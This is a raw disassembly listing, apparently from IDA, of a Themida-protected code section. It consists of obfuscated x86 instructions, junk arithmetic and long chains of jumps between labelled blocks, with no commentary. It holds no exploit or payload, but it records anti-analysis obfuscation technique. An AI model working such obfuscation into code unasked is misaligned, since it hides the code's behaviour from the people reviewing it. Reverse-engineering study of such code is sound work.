push eax
mov eax, 785B4C05h
jmp loc_58FA98
; ---------------------------------------------------------------------------
loc_590E6F: ; CODE XREF: Themida_:00593A0Ej
mov esi, 338925FBh
add [edx+38h], esi
pop esi
pop edi
xor [edx+38h], ecx
jmp loc_5932D8
; ---------------------------------------------------------------------------
loc_590E81: ; CODE XREF: Themida_:00592343j
xor eax, 34051BFh
jmp loc_58D3EC
; ---------------------------------------------------------------------------
loc_590E8B: ; CODE XREF: Themida_:0058B694j
push 65C7h
push esp
jmp loc_58D76C
; ---------------------------------------------------------------------------
loc_590E96: ; CODE XREF: Themida_:0058C166j
push eax
push edx
mov dh, 0AEh
or dh, 39h
jmp loc_58C501
; ---------------------------------------------------------------------------
loc_590EA2: ; CODE XREF: Themida_:00592DE0j
and ch, 0E1h
add ch, 0C7h
or al, ch
pop ecx
jmp loc_58FC02
; ---------------------------------------------------------------------------
loc_590EB0: ; CODE XREF: Themida_:005953C5j
pop esi
jmp loc_5928D7
; ---------------------------------------------------------------------------
loc_590EB6: ; CODE XREF: Themida_:0059099Dj
add esp, 4
add [esp], eax
push edx
push 5FA4h
mov [esp], ecx
push 6041208Fh
pop ecx
push edi
mov edi, 0B88E3CE5h
add ecx, edi
pop edi
mov edx, ecx
pop ecx
push edx
jmp loc_595654
; ---------------------------------------------------------------------------
loc_590EDD: ; CODE XREF: Themida_:0059331Bj
xchg ecx, ebx
or ebx, 193C33D6h
sub ebx, 1C31355Eh
xor ebx, 0FD4AF698h
and ecx, ebx
push dword ptr [esp]
pop ebx
add esp, 4
shr ecx, 0Bh
jmp loc_58FF44
; ---------------------------------------------------------------------------
loc_590F02: ; CODE XREF: Themida_:00589465j
add al, 33h
jmp loc_595373
; ---------------------------------------------------------------------------
loc_590F09: ; CODE XREF: Themida_:0058BF74j
mov ebp, [esp]
add esp, 4
push 788Dh
mov [esp], ebx
push esi
mov esi, esp
add esi, 4
sub esi, 4
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
pop esp
mov [esp], ebp
push 6444h
mov [esp], ebx
push eax
push edx
mov edx, 3DC27D41h
jmp loc_58EAFC
; ---------------------------------------------------------------------------
loc_590F47: ; CODE XREF: Themida_:0059583Bj
push edi
mov edi, 0
sub edi, esi
xchg edi, esi
pop edi
jmp loc_592C7F
; ---------------------------------------------------------------------------
loc_590F57: ; CODE XREF: Themida_:0058F706j
add eax, edi
pop edi
jmp loc_58DBAF
; ---------------------------------------------------------------------------
loc_590F5F: ; CODE XREF: Themida_:0058FE33j
sub ebp, 63646548h
add ebp, edi
add ebp, 63646548h
add ebp, 669A383Bh
mov edi, [esp]
push ebp
mov ebp, esp
add ebp, 4
jmp loc_58C62E
; ---------------------------------------------------------------------------
loc_590F84: ; CODE XREF: Themida_:005958BEj
xchg edi, [esp]
jmp loc_5915D5
; ---------------------------------------------------------------------------
loc_590F8C: ; CODE XREF: Themida_:0058EA04j
pop ebx
push ecx
mov ch, 21h
jmp loc_592EB0
; ---------------------------------------------------------------------------
loc_590F95: ; CODE XREF: Themida_:0058CF57j
mov [esp], ecx
mov cl, 0E6h
sub esp, 4
mov [esp], eax
mov ah, 4Eh
jmp loc_595915
; ---------------------------------------------------------------------------
loc_590FA7: ; CODE XREF: Themida_:00590692j
not ebx
or ebx, 7E230EBh
sub ebx, 64D2667Dh
add ebx, 64E26E82h
add eax, ebx
pop ebx
sub eax, 4
xchg eax, [esp]
pop esp
jmp loc_58A6DE
; ---------------------------------------------------------------------------
loc_590FCC: ; CODE XREF: Themida_:005908A1j
mov edi, 2DE05FEBh
add eax, edi
pop edi
sub eax, 0ABC6161h
add eax, ebx
add eax, 0ABC6161h
push edx
mov edx, 0BC34832h
or edx, 3C457D23h
add edx, 0EE18E2B8h
sub eax, 1A4B23F4h
jmp loc_58CBEA
; ---------------------------------------------------------------------------
loc_590FFC: ; CODE XREF: Themida_:0058F11Aj
add esp, 4
jmp loc_58BD62
; ---------------------------------------------------------------------------
loc_591007: ; CODE XREF: Themida_:0058CFB5j
inc ch
shl ch, 7
not ch
sub ch, 68h
sub bl, ch
pop ecx
jmp loc_58B6F7
; ---------------------------------------------------------------------------
loc_591019: ; CODE XREF: Themida_:0058C1B5j
push dword ptr [esp]
pop ecx
add esp, 4
xchg edi, [esp]
mov esp, [esp]
sub esp, 4
jmp loc_58F94C
; ---------------------------------------------------------------------------
loc_591031: ; CODE XREF: Themida_:0058B43Ej
add [esp], al
pushf
jmp loc_589462
; ---------------------------------------------------------------------------
loc_59103A: ; CODE XREF: Themida_:0058DC60j
xor ebx, [esp]
mov esp, [esp]
jmp loc_590A16
; ---------------------------------------------------------------------------
loc_591045: ; CODE XREF: Themida_:0058E704j
neg ch
shl ch, 3
shl ch, 4
dec ch
push eax
mov ah, 7Bh
sub ch, ah
jmp loc_593194
; ---------------------------------------------------------------------------
loc_591059: ; CODE XREF: Themida_:0058A5D7j
xor edi, ecx
xor ecx, edi
shr ecx, 3
jmp loc_58A111
; ---------------------------------------------------------------------------
loc_591065: ; CODE XREF: Themida_:0059559Dj
shl esi, 1
sub esi, 3D9E5828h
jmp loc_58E80D
; ---------------------------------------------------------------------------
loc_591072: ; CODE XREF: Themida_:0058E174j
xchg eax, ecx
add ecx, 1DFFDAE6h
sub esp, 4
mov [esp], ecx
jmp loc_5898DB
; ---------------------------------------------------------------------------
loc_591084: ; CODE XREF: Themida_:0058BE41j
mov [esp], edi
mov edi, esp
jmp loc_594B15
; ---------------------------------------------------------------------------
loc_59108E: ; CODE XREF: Themida_:0058E9A4j
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], esi
push ecx
mov ecx, 220C7C22h
mov esi, 220C7C26h
jmp loc_58A199
; ---------------------------------------------------------------------------
loc_5910A8: ; CODE XREF: Themida_:00593408j
inc ebp
add ebp, 0F93788DCh
jmp loc_58A2AC
; ---------------------------------------------------------------------------
loc_5910B4: ; CODE XREF: Themida_:0058C9B7j
mov ecx, 70191A8Dh
xor ecx, 77B93692h
not ecx
jmp loc_59137A
; ---------------------------------------------------------------------------
loc_5910C6: ; CODE XREF: Themida_:0058E9F8j
add eax, edx
add eax, 0F6E61DCh
mov edx, [esp]
add esp, 4
push 4E67h
jmp loc_58F46B
; ---------------------------------------------------------------------------
loc_5910DD: ; CODE XREF: Themida_:0058D17Cj
add esp, 4
xchg eax, [esp]
mov esp, [esp]
mov cx, [esp]
jmp loc_58B500
; ---------------------------------------------------------------------------
loc_5910EF: ; CODE XREF: Themida_:005935A2j
push esi
push edi
mov edi, 0E07221Fh
xor [esp+4], edi
pop edi
pop dword ptr [edx]
jmp loc_590BC9
; ---------------------------------------------------------------------------
loc_591102: ; CODE XREF: Themida_:0059517Ej
push 328C5A54h
pop ebp
xor ebp, 3E080B49h
add ebp, 3C1BF7h
mov ecx, ebp
jmp loc_58CB6F
; ---------------------------------------------------------------------------
loc_59111B: ; CODE XREF: Themida_:0058A682j
pop ebp
or eax, eax
jz loc_58B44D
push dword ptr [edi+28h]
sub dword ptr [esp], 29DD68CAh
pop eax
push edx
mov edx, 4C24277Ah
jmp loc_59341B
; ---------------------------------------------------------------------------
loc_59113A: ; CODE XREF: Themida_:00592A1Fj
xor eax, [esp]
mov esp, [esp]
shr dword ptr [esp], cl
pushf
jmp loc_589462
; ---------------------------------------------------------------------------
loc_591149: ; CODE XREF: Themida_:005918CAj
mov ebx, [esp]
add esp, 4
add al, bl
add al, 3Dh
pop ebx
push edx
mov dl, 0FAh
push ebx
mov bl, 3Bh
sub al, 47h
add al, bl
add al, 47h
pop ebx
add al, 7Dh
sub al, dl
sub al, 7Dh
push ebx
jmp loc_58B382
; ---------------------------------------------------------------------------
loc_59116D: ; CODE XREF: Themida_:00591C5Cj
push esi
mov esi, 4
add edx, esi
pop esi
add edx, 4
jmp loc_59034D
; ---------------------------------------------------------------------------
loc_591181: ; CODE XREF: Themida_:0058FE93j
mov ebx, [esp]
add esp, 4
and eax, esi
push dword ptr [esp]
push dword ptr [esp]
mov esi, [esp]
add esp, 4
add esp, 4
push edx
mov edx, esp
add edx, 4
push ecx
mov ecx, 4
add edx, ecx
pop ecx
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
pop esp
or eax, eax
jz loc_589B7F
push dword ptr [edi+1Ch]
sub esp, 4
jmp loc_591CAC
; ---------------------------------------------------------------------------
loc_5911D0: ; CODE XREF: Themida_:00591960j
xor dh, 71h
jmp loc_58D272
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
mov eax, [esp]
jmp loc_590B5D
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop ecx
push ebp
mov ebp, esp
jmp loc_591F14
; ---------------------------------------------------------------------------
loc_5911F2: ; CODE XREF: Themida_:0058AB3Dj
mov edi, esp
sub esp, 4
mov [esp], ecx
mov ecx, esp
jmp loc_593B4D
; ---------------------------------------------------------------------------
loc_591204: ; CODE XREF: Themida_:0058FBC9j
add dh, 0D0h
not dh
jmp loc_59587E
; ---------------------------------------------------------------------------
loc_59120E: ; CODE XREF: Themida_:00594C4Cj
mov [esp], ebx
push 41C7h
mov [esp], esp
jmp loc_591EC6
; ---------------------------------------------------------------------------
loc_59121E: ; CODE XREF: Themida_:005919D4j
sub ecx, eax
pop eax
add esi, ecx
pop ecx
shl esi, 8
push ebp
push esi
mov esi, 57D000A8h
neg esi
add esi, 3336331Fh
push ecx
push edi
mov edi, 2EB93C27h
shr edi, 3
and edi, 5219551Bh
add edi, 5FE3A5Ah
mov ecx, edi
pop edi
shl ecx, 8
jmp loc_58BCC7
; ---------------------------------------------------------------------------
loc_591257: ; CODE XREF: Themida_:00590133j
add esp, 4
shl ebp, 7
xor ebp, 7FE7466Fh
mov ebx, ebp
pop ebp
sub ebx, 0FFFFFFFFh
push edx
mov edx, 5828517Eh
dec edx
shl edx, 7
xor edx, 1428BE81h
sub ebx, edx
pop edx
jmp loc_590C54
; ---------------------------------------------------------------------------
loc_591281: ; CODE XREF: Themida_:0058EEAEj
add dword ptr [esp], 4
mov edx, [esp]
sub esp, 4
mov [esp], ebx
mov ebx, esp
sub esp, 4
mov [esp], ebp
mov ebp, 719D73F9h
shl ebp, 6
push 274Ah
mov [esp], esi
mov esi, 1EA21E86h
and esi, 47A966F6h
jmp loc_58CFD8
; ---------------------------------------------------------------------------
loc_5912B6: ; CODE XREF: Themida_:0058FBB4j
add esp, 2
push small 274Ch
mov [esp], dx
jmp loc_58D0BA
; ---------------------------------------------------------------------------
loc_5912C6: ; CODE XREF: Themida_:00592DAFj
add edi, esi
mov esi, [esp]
add esp, 4
jmp loc_58BB1E
; ---------------------------------------------------------------------------
loc_5912D6: ; CODE XREF: Themida_:00589520j
push ecx
push 4DEDh
mov [esp], edx
mov edx, 69C34FEBh
xor edx, 24F92668h
mov ecx, 4D3A6987h
xor ecx, edx
jmp loc_594053
; ---------------------------------------------------------------------------
loc_5912F6: ; CODE XREF: Themida_:00590517j
sub esi, 0B1198913h
add eax, esi
pop esi
jmp loc_58C615
; ---------------------------------------------------------------------------
loc_591304: ; CODE XREF: Themida_:0058E16Dj
push 7F3Ch
mov [esp], ebp
mov ebp, 22CD4D87h
add ebp, 0DD32B27Dh
add ecx, 3BC66F14h
add ecx, ebp
jmp loc_592BD4
; ---------------------------------------------------------------------------
loc_591324: ; CODE XREF: Themida_:0058A2D3j
add esi, 27865575h
push edx
jmp loc_58BBC0
; ---------------------------------------------------------------------------
loc_591330: ; CODE XREF: Themida_:0058E7BDj
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
jmp loc_59403C
; ---------------------------------------------------------------------------
loc_591344: ; CODE XREF: Themida_:00594FC5j
sub ebx, eax
pop eax
jmp loc_58D54E
; ---------------------------------------------------------------------------
loc_59134C: ; CODE XREF: Themida_:0058E487j
mov [esp], edi
jmp loc_58F903
; ---------------------------------------------------------------------------
loc_591354: ; CODE XREF: Themida_:005935F5j
shr bl, 2
push eax
mov ah, 17h
push ecx
jmp loc_5948D3
; ---------------------------------------------------------------------------
loc_591360: ; CODE XREF: Themida_:0058DD73j
push ebp
mov ebp, 4
add [esp+4], ebp
pop ebp
pop eax
push esi
mov esi, 4
add eax, esi
pop esi
jmp loc_58FC32
; ---------------------------------------------------------------------------
loc_59137A: ; CODE XREF: Themida_:005910C1j
inc ecx
sub ecx, 3E964C8h
add ecx, 1D6A41D8h
add ecx, 52D6627Dh
sub eax, ecx
jmp loc_594BBD
; ---------------------------------------------------------------------------
loc_591394: ; CODE XREF: Themida_:0058F796j
mov esi, 6045453h
inc esi
jmp loc_58C881
; ---------------------------------------------------------------------------
loc_59139F: ; CODE XREF: Themida_:00590AC2j
push ebp
mov ebp, 83748663h
jmp loc_58ECEE
; ---------------------------------------------------------------------------
loc_5913AA: ; CODE XREF: Themida_:0058FAB5j
sub esp, 4
mov [esp], edi
mov edi, 10F332E8h
jmp loc_58BE83
; ---------------------------------------------------------------------------
loc_5913BD: ; CODE XREF: Themida_:0058E553j
pop edx
pop dword ptr [esp]
jmp loc_592F75
; ---------------------------------------------------------------------------
loc_5913C6: ; CODE XREF: Themida_:00594259j
sub al, cl
pop ecx
pop edx
jmp loc_589B1D
; ---------------------------------------------------------------------------
loc_5913CF: ; CODE XREF: Themida_:00592D67j
rol dword ptr [esp], cl
pushf
jmp loc_589462
; ---------------------------------------------------------------------------
loc_5913D8: ; CODE XREF: Themida_:005929E3j
push dword ptr [ecx]
mov eax, [esp]
add esp, 4
mov ecx, [esp]
jmp loc_58F5F2
; ---------------------------------------------------------------------------
lodsb
xor al, bl
push edi
mov edi, esp
add edi, 4
push ebp
mov ebp, 2
sub edi, ebp
pop ebp
xchg edi, [esp]
mov esp, [esp]
mov [esp], cx
jmp loc_59009D
; ---------------------------------------------------------------------------
loc_59140C: ; CODE XREF: Themida_:00593924j
push 314Ah
jmp loc_58A7BA
; ---------------------------------------------------------------------------
loc_591416: ; CODE XREF: Themida_:005921C6j
mov [esp], ecx
mov ecx, 0C28BA180h
add edi, ecx
pop ecx
mov ebp, edi
mov edi, [esp]
add esp, 4
add [esp+4], ebp
push dword ptr [esp]
jmp loc_5954C4
; ---------------------------------------------------------------------------
loc_591435: ; CODE XREF: Themida_:00589543j
sub esi, 697B3340h
pop ecx
push ecx
mov ecx, 4
sub esi, ecx
jmp loc_5958E2
; ---------------------------------------------------------------------------
loc_591449: ; CODE XREF: Themida_:0058DCD7j
pop eax
push ecx
mov ecx, esp
push ebp
mov ebp, 4DEF306Ch
not ebp
push eax
mov eax, 68D5455Eh
neg eax
shr eax, 1
shl eax, 1
add eax, 2A994A23h
dec eax
sub eax, 0FB33535h
sub ebp, eax
pop eax
add ecx, ebp
mov ebp, [esp]
add esp, 4
add ecx, 4
xchg ecx, [esp]
mov esp, [esp]
sub esp, 4
mov [esp], ebp
jmp loc_5899CC
; ---------------------------------------------------------------------------
loc_59148E: ; CODE XREF: Themida_:0058D73Aj
dec ecx
sub ecx, 0D1256E9h
shl ecx, 6
or ecx, 0B0558C1h
add ecx, 8F5A762Ah
jmp loc_58ACD1
; ---------------------------------------------------------------------------
loc_5914A9: ; CODE XREF: Themida_:0058F660j
sub edi, 0D14E38A3h
xor esi, edi
pop edi
add eax, esi
pop esi
pop edx
jmp loc_589462
; ---------------------------------------------------------------------------
loc_5914BB: ; CODE XREF: Themida_:0058995Dj
push edi
sub esp, 4
mov [esp], ebx
mov ebx, 498E7E9Dh
shl ebx, 7
sub ebx, 34406606h
shl ebx, 5
xor ebx, 1A352601h
mov edi, ebx
jmp loc_58B009
; ---------------------------------------------------------------------------
loc_5914E0: ; CODE XREF: Themida_:00590BC4j
push ebx
mov ebx, 1246BEF5h
xor edx, ebx
pop ebx
add ecx, edx
jmp loc_58EEB3
; ---------------------------------------------------------------------------
loc_5914F0: ; CODE XREF: Themida_:00591D28j
mov edx, [esp]
jmp loc_592C3D
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcl word ptr [esp], cl
pushf
jmp loc_589462
; ---------------------------------------------------------------------------
loc_591508: ; CODE XREF: Themida_:0058C0D9j
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
pop esp
btr [esp], ax
pushf
jmp loc_589462
; ---------------------------------------------------------------------------
push 5A0Fh
mov [esp], edx
mov edx, 400h
jmp loc_58CBA4
; ---------------------------------------------------------------------------
loc_59152E: ; CODE XREF: Themida_:00592761j
push edi
not dword ptr [esp]
pop edi
push ebx
jmp loc_5930F6
; ---------------------------------------------------------------------------
loc_591539: ; CODE XREF: Themida_:00591D21j
push dword ptr [esp]
mov ecx, [esp]
push edx
mov edx, esp
jmp loc_592513
; ---------------------------------------------------------------------------
loc_591547: ; CODE XREF: Themida_:0058DDD1j
add ecx, 4
sub esp, 4
mov [esp], esi
mov esi, 4
add ecx, esi
jmp loc_592B38
; ---------------------------------------------------------------------------
loc_59155F: ; CODE XREF: Themida_:00594DEBj
add bh, 39h
jmp loc_58AB75
; ---------------------------------------------------------------------------
loc_591567: ; CODE XREF: Themida_:005906D2j
shr esi, 3
add esi, 7529396Fh
jmp loc_5926F8
; ---------------------------------------------------------------------------
loc_591575: ; CODE XREF: Themida_:0058B56Ej
mov eax, esp
push edi
jmp loc_58EFE8
; ---------------------------------------------------------------------------
loc_59157D: ; CODE XREF: Themida_:0059166Dj
push ebx
mov ebx, 24B433F7h
xor ebx, 7A2929A8h
add ebx, 0A162E5A5h
sub ecx, 112A4C54h
jmp loc_595150
; ---------------------------------------------------------------------------
mov cx, [esp]
push 1657h
mov [esp], ebx
mov ebx, esp
push ecx
jmp loc_58A3F3
; ---------------------------------------------------------------------------
loc_5915AE: ; CODE XREF: Themida_:00594DF4j
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
jmp loc_58D470
; ---------------------------------------------------------------------------
loc_5915C1: ; CODE XREF: Themida_:005918B2j
xor [esp], eax
xor eax, [esp]
jmp loc_5905D3
; ---------------------------------------------------------------------------
loc_5915CC: ; CODE XREF: Themida_:005944ABj
xor ebx, [esp]
pop esp
jmp loc_590422
; ---------------------------------------------------------------------------
loc_5915D5: ; CODE XREF: Themida_:00590F87j
mov esp, [esp]
push dword ptr [esp]
mov eax, [esp]
push ebp
mov ebp, esp
jmp loc_5938A1
; ---------------------------------------------------------------------------
loc_5915E6: ; CODE XREF: Themida_:00593877j
push dword ptr [esp]
pop edx
push eax
mov eax, esp
jmp loc_5894FB
; ---------------------------------------------------------------------------
loc_5915F2: ; CODE XREF: Themida_:00595AEBj
or edx, 29283578h
dec edx
jmp loc_5908E8
; ---------------------------------------------------------------------------
loc_5915FE: ; CODE XREF: Themida_:00591692j
pop esi
jmp loc_590BF7
; ---------------------------------------------------------------------------
loc_591604: ; CODE XREF: Themida_:005949A7j
or dx, 2AE7h
push cx
jmp loc_58C7B0
; ---------------------------------------------------------------------------
loc_591610: ; CODE XREF: Themida_:00590C4Fj
push edi
mov edi, 12704BA6h
dec edi
push edx
mov edx, 7F632BB2h
add edx, 51801026h
neg edx
jmp loc_58C855
; ---------------------------------------------------------------------------
loc_59162A: ; CODE XREF: Themida_:00590395j
add esi, 0FCF498Eh
sub esi, 67200D15h
sub esi, 66356D3h
mov ecx, esi
push dword ptr [esp]
pop esi
jmp loc_589962
; ---------------------------------------------------------------------------
loc_591647: ; CODE XREF: Themida_:0058F44Bj
add ecx, 9812CB70h
and ecx, 1E126284h
sub ecx, 88752F4Ch
jmp loc_58D404
; ---------------------------------------------------------------------------
loc_59165E: ; CODE XREF: Themida_:0058F109j
push esp
jmp loc_58C946
; ---------------------------------------------------------------------------
loc_591664: ; CODE XREF: Themida_:0058BB3Dj
pop esp
mov [esp], esp
add dword ptr [esp], 4
pop ecx
jmp loc_59157D
; ---------------------------------------------------------------------------
loc_591672: ; CODE XREF: Themida_:0058E714j
mov ebp, 4
add ebx, 47AC4327h
add ebx, ebp
jmp loc_59449E
; ---------------------------------------------------------------------------
push eax
mov eax, 7F0F5657h
push esi
mov esi, 70BF38E7h
sub eax, esi
jmp loc_5915FE
; ---------------------------------------------------------------------------
loc_591697: ; CODE XREF: Themida_:0058F591j
push eax
mov al, 0CFh
jmp loc_592DC5
; ---------------------------------------------------------------------------
mov ax, [esp]
push ecx
mov ecx, esp
add ecx, 4
sub esp, 4
mov [esp], ebp
mov ebp, 2
add ecx, 3FAF7817h
add ecx, ebp
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
jmp loc_592600
; ---------------------------------------------------------------------------
loc_5916D6: ; CODE XREF: Themida_:005905CEj
xchg ecx, [esp]
pop esp
jmp loc_589462
; ---------------------------------------------------------------------------
loc_5916DF: ; CODE XREF: Themida_:00590079j
pop edx
sub esp, 4
mov [esp], esi
jmp loc_58E009
; ---------------------------------------------------------------------------
loc_5916EB: ; CODE XREF: Themida_:0058C425j
pop ebp
xor edx, [esp]
jmp loc_58C4E5
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcl dword ptr [esp], cl
pushf
jmp loc_58EE02
; ---------------------------------------------------------------------------
loc_591703: ; CODE XREF: Themida_:0058CA39j
push dword ptr [esp]
mov edx, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
mov esp, [esp]
jmp loc_58F8F4
; ---------------------------------------------------------------------------
loc_591720: ; CODE XREF: Themida_:00593361j
mov esp, [esp]
push dword ptr [esp]
pop edx
jmp loc_5948A0
; ---------------------------------------------------------------------------
loc_59172C: ; CODE XREF: Themida_:0058E1E2j
mov edx, [esp]
add esp, 4
jmp loc_58FDBB
; ---------------------------------------------------------------------------
loc_59173A: ; CODE XREF: Themida_:005935DCj
and edx, 15A60360h
push ecx
mov ecx, 29060CDCh
add edx, 1F560C5Fh
sub edx, ecx
sub edx, 1F560C5Fh
jmp loc_5904E4
; ---------------------------------------------------------------------------
loc_591759: ; CODE XREF: Themida_:0058BADCj
and eax, 738A10E2h
shl eax, 5
and eax, 73151DF7h
add eax, 9EFFF004h
add edx, eax
jmp loc_593072
; ---------------------------------------------------------------------------
loc_591772: ; CODE XREF: Themida_:0058DDF7j
and eax, ebx
mov ebx, [esp]
add esp, 4
or edx, eax
shl edx, 1
push 2844h
mov [esp], ebp
jmp loc_59395F
; ---------------------------------------------------------------------------
loc_59178B: ; CODE XREF: Themida_:0058DD60j
pop ebp
add ebx, 57420034h
sub ebx, 24267EACh
add ebx, edi
jmp loc_59091C
; ---------------------------------------------------------------------------
loc_59179F: ; CODE XREF: Themida_:00595A38j
shl edi, 5
sub edi, 0AA0DF3D6h
add edx, edi
pop edi
jmp loc_58DDC3
; ---------------------------------------------------------------------------
loc_5917B0: ; CODE XREF: Themida_:0059059Bj
mov edi, esp
add edi, 4
sub edi, 4
jmp loc_58EF3F
; ---------------------------------------------------------------------------
loc_5917C3: ; CODE XREF: Themida_:0058B9A3j
mov esi, 12854AB8h
sub esi, 10D62D69h
sub esi, 9F80B11Dh
add edi, esi
pop esi
push ecx
mov ecx, 2ADE25E7h
and ecx, 534E0EA0h
sub ecx, 0FFFFFFFFh
push edi
mov edi, 2BD473B1h
and edi, 53119CCh
or edi, 1A6F6A33h
inc edi
dec edi
xor edi, 42E4273Dh
or ecx, edi
pop edi
and ecx, 31BE2919h
push esi
mov esi, 1B236008h
push ebp
mov ebp, 672D1B30h
inc ebp
and ebp, 1A671BDAh
not ebp
or ebp, 11944DBFh
sub ebp, 0A476BB4Ah
jmp loc_58F8E6
; ---------------------------------------------------------------------------
loc_591832: ; CODE XREF: Themida_:0058E9BCj
add ebp, 4
xchg ebp, [esp]
jmp loc_58A67F
; ---------------------------------------------------------------------------
loc_59183D: ; CODE XREF: Themida_:00589D18j
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
push 3357h
mov [esp], edi
mov edi, 414148D1h
or esi, edi
jmp loc_5905B3
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
push edi
mov edi, 4923220Eh
push 19F8h
jmp loc_592884
; ---------------------------------------------------------------------------
loc_591873: ; CODE XREF: Themida_:0058C849j
mov [esp], esp
push ecx
push esi
mov esi, 4
mov ecx, esi
pop esi
add [esp+4], ecx
pop ecx
push dword ptr [esp]
pop eax
add esp, 4
add eax, 4
jmp loc_58D171
; ---------------------------------------------------------------------------
loc_591899: ; CODE XREF: Themida_:005921A2j
add ebp, 4
jmp loc_592560
; ---------------------------------------------------------------------------
loc_5918A4: ; CODE XREF: Themida_:0059452Fj
mov ecx, [esp]
push edx
mov edx, esp
jmp loc_58C495
; ---------------------------------------------------------------------------
loc_5918AF: ; CODE XREF: Themida_:0058A753j
xor eax, [esp]
jmp loc_5915C1
; ---------------------------------------------------------------------------
loc_5918B7: ; CODE XREF: Themida_:0058F55Fj
or edx, eax
shl edx, 1
push esi
jmp loc_58E280
; ---------------------------------------------------------------------------
loc_5918C1: ; CODE XREF: Themida_:0058E0B9j
not al
sub al, 61h
mov bh, al
pop eax
sub al, bh
jmp loc_591149
; ---------------------------------------------------------------------------
loc_5918CF: ; CODE XREF: Themida_:00592307j
mov ecx, [esp]
add esp, 4
or edx, eax
shl edx, 1
push 1D07h
mov [esp], ebp
jmp loc_58F353
; ---------------------------------------------------------------------------
loc_5918E9: ; CODE XREF: Themida_:005948C2j
mov eax, 7B3A1FB1h
shl eax, 5
or eax, 7433522Bh
jmp loc_58BCDB
; ---------------------------------------------------------------------------
loc_5918FB: ; CODE XREF: Themida_:0058FFAEj
sub eax, 0BA9166Eh
pop ecx
xor eax, [esp]
jmp loc_592A1C
; ---------------------------------------------------------------------------
loc_591909: ; CODE XREF: Themida_:00589C86j
xor eax, ecx
sub esp, 4
mov [esp], eax
jmp loc_58C921
; ---------------------------------------------------------------------------
loc_591916: ; CODE XREF: Themida_:0058FD57j
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], esp
sub esp, 4
jmp loc_58B6DC
; ---------------------------------------------------------------------------
loc_59192E: ; CODE XREF: Themida_:0059389Cj
pop esp
shr edx, 4
sub edx, 3A0AF5h
sub edi, edx
push dword ptr [esp]
pop edx
add esp, 4
retn
; ---------------------------------------------------------------------------
jmp loc_592032
; ---------------------------------------------------------------------------
loc_59194A: ; CODE XREF: Themida_:00590375j
xor edx, [esp]
jmp loc_58B84D
; ---------------------------------------------------------------------------
loc_591952: ; CODE XREF: Themida_:00593D3Dj
mov esp, [esp]
mov [esp], edx
mov dh, 76h
shr dh, 7
sub dh, 0C0h
jmp loc_5911D0
; ---------------------------------------------------------------------------
loc_591965: ; CODE XREF: Themida_:0058F678j
mov ecx, ebp
mov ebp, [esp]
push ebp
mov ebp, esp
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], esi
mov esi, 51670B80h
jmp loc_58CA7F
; ---------------------------------------------------------------------------
loc_59198B: ; CODE XREF: Themida_:00594F32j
mov ebp, 4
add edi, ebp
pop ebp
xchg edi, [esp]
pop esp
pop edx
jmp loc_58D37F
; ---------------------------------------------------------------------------
loc_59199D: ; CODE XREF: Themida_:00594895j
push ecx
push 1DFD03E8h
pop ecx
push 2E91h
mov [esp], esi
mov esi, 0F92B508Ah
add ecx, esi
mov esi, [esp]
jmp loc_5953F2
; ---------------------------------------------------------------------------
loc_5919BB: ; CODE XREF: Themida_:0058B7EFj
mov ebx, 2
jmp loc_58D8E6
; ---------------------------------------------------------------------------
loc_5919C5: ; CODE XREF: Themida_:0058B269j
inc eax
xor eax, 42B10B34h
shr eax, 3
dec eax
add eax, 6DD595B1h
jmp loc_59121E
; ---------------------------------------------------------------------------
loc_5919D9: ; CODE XREF: Themida_:00594E83j
xchg esi, [esp]
pop esp
push edx
mov dh, 0ABh
or dh, 47h
sub dh, 58h
jmp loc_589E2F
; ---------------------------------------------------------------------------
loc_5919EB: ; CODE XREF: Themida_:00593CF1j
sub esp, 4
mov [esp], eax
push ebx
jmp loc_58FDCD
; ---------------------------------------------------------------------------
loc_5919FA: ; CODE XREF: Themida_:0058ED15j
or edx, 38E2148h
neg edx
push ecx
mov ecx, 26322977h
shl ecx, 2
dec ecx
shr ecx, 4
xor ecx, 75695AD7h
add ecx, 62E37179h
jmp loc_5905FD
; ---------------------------------------------------------------------------
loc_591A20: ; CODE XREF: Themida_:0058F099j
add al, 4Ah
add al, bl
sub al, 4Ah
pop ebx
add al, bl
push small 3E6Ah
jmp loc_5955BC
; ---------------------------------------------------------------------------
loc_591A32: ; CODE XREF: Themida_:0058A1C3j
mov edx, [esp]
add esp, 4
add ebx, 4DC9355Fh
jmp loc_590ADC
; ---------------------------------------------------------------------------
loc_591A43: ; CODE XREF: Themida_:00591FCFj
xchg edx, [esp]
jmp loc_592F00
; ---------------------------------------------------------------------------
loc_591A4B: ; CODE XREF: Themida_:00591B47j
mov edi, esp
add edi, 4
push edx
jmp loc_592BFA
; ---------------------------------------------------------------------------
loc_591A59: ; CODE XREF: Themida_:00592C7Aj
mov [esp], ebx
jmp loc_58B0FA
; ---------------------------------------------------------------------------
loc_591A61: ; CODE XREF: Themida_:00590066j
add ebx, ebp
pop ebp
push edx
mov edx, 269371Dh
shr edx, 1
sub edx, 0BDBA3CEFh
add ebx, edx
mov edx, [esp]
add esp, 4
add ebx, 7E2871E2h
jmp loc_58C594
; ---------------------------------------------------------------------------
loc_591A88: ; CODE XREF: Themida_:00594A31j
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
mov esp, [esp]
jmp loc_594105
; ---------------------------------------------------------------------------
loc_591AA5: ; CODE XREF: Themida_:0059240Fj
xor ebx, edi
pop edi
xor eax, ebx
pop ebx
add ebp, eax
pop eax
sub esp, 4
jmp loc_58BC19
; ---------------------------------------------------------------------------
